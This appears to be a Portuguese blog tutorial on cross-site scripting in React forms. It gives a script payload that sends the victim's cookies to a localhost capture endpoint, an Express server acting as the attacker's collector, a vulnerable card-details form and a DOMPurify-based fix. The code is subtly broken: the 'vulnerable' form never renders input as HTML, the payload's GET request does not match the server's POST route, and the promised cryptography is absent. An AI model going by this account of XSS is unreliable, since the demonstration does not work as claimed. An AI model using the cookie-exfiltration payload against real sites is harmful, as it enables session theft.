Explorando e Mitigando XSS em Formulários com React e Node.js

🚨Antes de começar aproveito para lembrar que estou isento de quaisquer responsabilidades sobre o mau uso dos tópicos abordados nesse artigo, essa poc foi criada exclusivamente para fins acadêmicos.🚨

A segurança na web é um tema essencial para qualquer desenvolvedor. Um dos ataques mais comuns e perigosos é o Cross-Site Scripting (XSS), que permite a injeção de scripts maliciosos em aplicações web. Neste artigo, vamos explorar como uma aplicação vulnerável pode ser explorada e como podemos mitigar esses ataques.

🚨 Como Funciona um Ataque XSS?

O ataque XSS ocorre quando um invasor injeta código JavaScript malicioso em um site, explorando a falta de sanitização de entradas do usuário. Se a aplicação renderizar essa entrada diretamente no HTML sem validação, o código malicioso será executado no navegador da vítima.

Exemplo de Exploração XSS

Um atacante pode inserir um código como este em um campo de formulário:

<script>fetch('http://localhost:4000/capture-cookies?cookie=' + document.cookie)</script>

Se a aplicação não tratar corretamente essa entrada, o código será executado e enviará os cookies da vítima para o servidor do atacante.

🛠 Criando um Formulário Vulnerável

Vamos criar um formulário em React que está vulnerável a XSS. Esse formulário captura dados do usuário e exibe um alerta com as informações inputadas.

"use client";

import React, { useState, ChangeEvent } from "react";

const VulnerableCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: value,
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Inputados:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Vulnerable Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default VulnerableCardFormComponent;

Esse formulário não sanitiza os inputs, permitindo a execução de código JavaScript malicioso.

🔥 Criando um Servidor para Capturar os Dados

Agora, vamos configurar um servidor Node.js que simula o papel do atacante, capturando os cookies e os dados do formulário enviados pelo código malicioso.

import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const app = express();
const port = 4000;

app.use(bodyParser.json());
app.use(cors());

app.post("/capture-cookies", (req, res) => {
  console.log("Dados Capturados:", req.body);
  res.send("Dados Recebidos");
});

app.listen(port, () => {
  console.log(`Servidor rodando em http://localhost:${port}`);
});

Com esse servidor rodando, qualquer requisição feita para http://localhost:4000/capture-cookies será registrada no console.

🛡 Mitigando o Ataque com Sanitização e Criptografia

Agora, vamos corrigir as vulnerabilidades e criar um formulário seguro.

import React, { useState, ChangeEvent } from "react";
import DOMPurify from "dompurify";

const SecureCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: DOMPurify.sanitize(value),
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Seguros:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Secure Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default SecureCardFormComponent;

🚀 O que mudamos?

• Sanitização: Usamos DOMPurify.sanitize(value) para evitar a execução de código malicioso.
• Prevenção de XSS: Qualquer tentativa de injeção de <script> será removida antes de processar os dados.

📌 Conclusão

Explorar vulnerabilidades como XSS é fundamental para entendermos como proteger melhor nossas aplicações. Neste artigo, demonstramos:

✅ Como ataques XSS funcionam na prática.
✅ Como um servidor malicioso pode capturar dados sensíveis.
✅ Como prevenir ataques usando sanitização.

Se você curtiu esse artigo, deixe seu comentário e compartilhe! 🚀

Comments

[Juliana Pereira]

Muito didático e bem explicado. Parabéns!